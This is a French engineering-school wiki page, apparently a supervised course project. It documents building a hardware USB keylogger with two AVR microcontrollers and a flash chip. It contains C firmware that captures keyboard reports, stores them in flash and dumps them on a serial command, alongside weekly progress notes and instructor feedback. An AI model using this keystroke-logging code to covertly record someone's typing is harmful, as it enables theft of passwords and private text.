On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
===== Modification du Keylogger =====&lt;br /&gt;
J'ai apporté des modifications sur l'envoie et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour la réception :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseigner via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoie de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyé en une fois tout les codes en une fois. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[7];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Concernant l'envoie des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[7];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0; byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)&lt;br /&gt;
				{&lt;br /&gt;
					// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
					// 	Data_to_Send[k] = data[byte + k];&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += 7)&lt;br /&gt;
			{&lt;br /&gt;
				// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
				// 	Data_to_Send[k] = flash_buffer[byte + k];&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMEGA, pas grand chose a changé si ce n'est la façon de recevoir les octets de données des touches tapés :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On attends à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=838</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=838"/>
		<updated>2023-08-14T19:33:50Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
